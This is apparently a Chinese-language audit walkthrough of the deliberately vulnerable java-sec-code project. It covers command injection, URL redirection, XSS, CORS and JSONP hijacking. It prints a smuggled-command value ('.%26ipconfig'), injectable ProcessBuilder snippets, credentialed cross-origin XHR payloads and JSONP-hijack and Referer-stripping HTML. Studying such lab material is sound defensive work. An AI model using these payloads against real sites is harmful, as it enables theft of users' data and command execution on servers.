0x01 前言
Java Sec Code项目地址:https://github.com/JoyChou93/java-sec-code
如该项目的Readme所说,该项目是学习java漏洞代码非常强大且友好的项目。
将项目部署好后就可以进行审计了,该项目采用Springboot搭建。
工具:IDEA
插件:RestfulToolkit
0x02 代码审计
ProcessBuilder命令执行
ctrl+alt+n
,搜索inject,选择/codeinject
即可跳转到命令执行漏洞代码处。
从代码可以看到filepath
参数直接拼接到命令中,ProcessBuilder
最终导致命令执行。在filepath
参数值为.%26ipconfig
,这里使用&
拼接命令,在windows中,&
指令为并且。对&进行url编码的原因在于服务端会将&当作参数分割符而不是该符号本身。codeInjectHost
方法获取HTTP header中的host字段并拼接到命令中,也存在命令注入。
可以看到作者给的安全的方法,作者使用了正则白名单进行过滤。
对于ProcessBuilder和Runtime.exec两种命令执行的操作,以下对能否执行命令注入进行讨论。
// 不可注入
String path = request.getParameter("path");
String[] cmd = new String[] {"ls","-lh",path};
ProcessBuilder builder= new ProcessBuilder(cmd);
// 可注入
String path = request.getParameter("path");
String[] cmd = new String[] {"/bin/sh","-c","ls -lh "+path};
ProcessBuilder builder= new ProcessBuilder(cmd);
// 可注入
String path = request.getParameter("path");
List<String> commands=new ArrayList();
commands.add("/bin/sh");
commands.add("-c");
commands.add("ls -lh "+path);
ProcessBuilder builder= new ProcessBuilder(commands);
// 可注入
String command = request.getParameter("command");
ProcessBuilder builder= new ProcessBuilder(command);
builder.redirectErrorStream(true);
Process process = builder.start();
// 可注入
String command = request.getParameter("command");
Process process = Runtime.getRuntime().exec(command);
// 不可注入
String url = request.getParameter("url");
Process process = Runtime.getRuntime().exec("curl "+url);
// 可注入
String filename = request.getParameter("filename");
Process process = Runtime.getRuntime().exec("sh -c ./shell/"+filename);
URL跳转漏洞
ctrl+alt+n
,搜索/urlRedirect
,可以看到漏洞代码,可见使用图中三种方式进行网页跳转都是不安全的。
而使用以下两种方式进行跳转是安全的。第一种只能跳转到存在的路径无法跳转到其它url,而第二种对参数进行了过滤操作,过滤操作的思路是先使用URI.getHost
方法提取host,再判断host是否在黑白名单中。
XSS漏洞
以下是反射型和存储型XSS漏洞代码。
以下是安全的代码,对特殊符号进行了实体化编码。
目录遍历漏洞
CORS漏洞
测试CORS的payload如下,需要注意一点的是,不可以直接打开html,这样使用的file协议打开文件,在进行跨域操作时无法携带cookie。需要将html放在服务器上再通过网页打开。
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://127.0.0.1:8080/cors/vuln/origin',true);
req.withCredentials = true;
req.send();
function reqListener() {
alert(this.responseText);
};
</script>
<!-- demo1.html -->
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('POST','https://xxx/opUser/query',true);
req.withCredentials = true;
req.send();
function reqListener() {
alert(this.responseText);
};
</script>
<!-- demo2.html -->
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('POST','https://xxx/application/list',true);
req.withCredentials = true;
req.setRequestHeader('content-type', 'application/json');
var sendData = {pageNo:1,pageSize:10};
req.send(JSON.stringify(sendData));
function reqListener() {
alert(this.responseText);
};
</script>
对于反射型origin,并且存在ACAC头且为true,可以直接使用以上的payload。
对于以下情况,设置ACAO头为*,那么对于需要cookie校验的url就无法获得相关信息,但是我认为它还有一种用法,用于获取内网url的敏感信息,通过js外带到攻击者的服务器,有ssrf的味了。
JSONP漏洞
JSONP的script类型的payload如下:
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function vulkey(data){alert(JSON.stringify(data));}
</script>
<script src="http://192.168.3.196:8080/jsonp/vuln/referer?callback_=vulkey"></script>
</body>
</html>
存在jsonp漏洞的代码如下,使用上述payload即可触发jsonp劫持,但是需要注意的是,我测试的时候在Edge和Chrome浏览器中会失败,而Firefox浏览器则可以,很奇怪,网上也没搜到这种情况。
对于以下漏洞代码,没有考虑到referer为null的情况,所以可以通过两种方式让referer头为空,一种是在html文件添加元信息,一种是通过iframe实现。
<meta name="referrer" content="no-referrer" />
<iframe src="javascript:'<script>function test(data){alert(data.name);}</script><script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>'"></iframe>
在Spring Framework 5.0 to 5.0.6
、 Spring Framework 4.1 to 4.3.17
中如果使用MappingJackson2JsonView
自动渲染也会导致jsonp
劫持。
以下是通过fastjson将json转换为jsonp的实现,在该过程中并未对referer进行校验,也存在jsonp劫持漏洞。
总之,要判断jsonp
劫持存不存在,就需要看返回的响应是否是application/javascript
。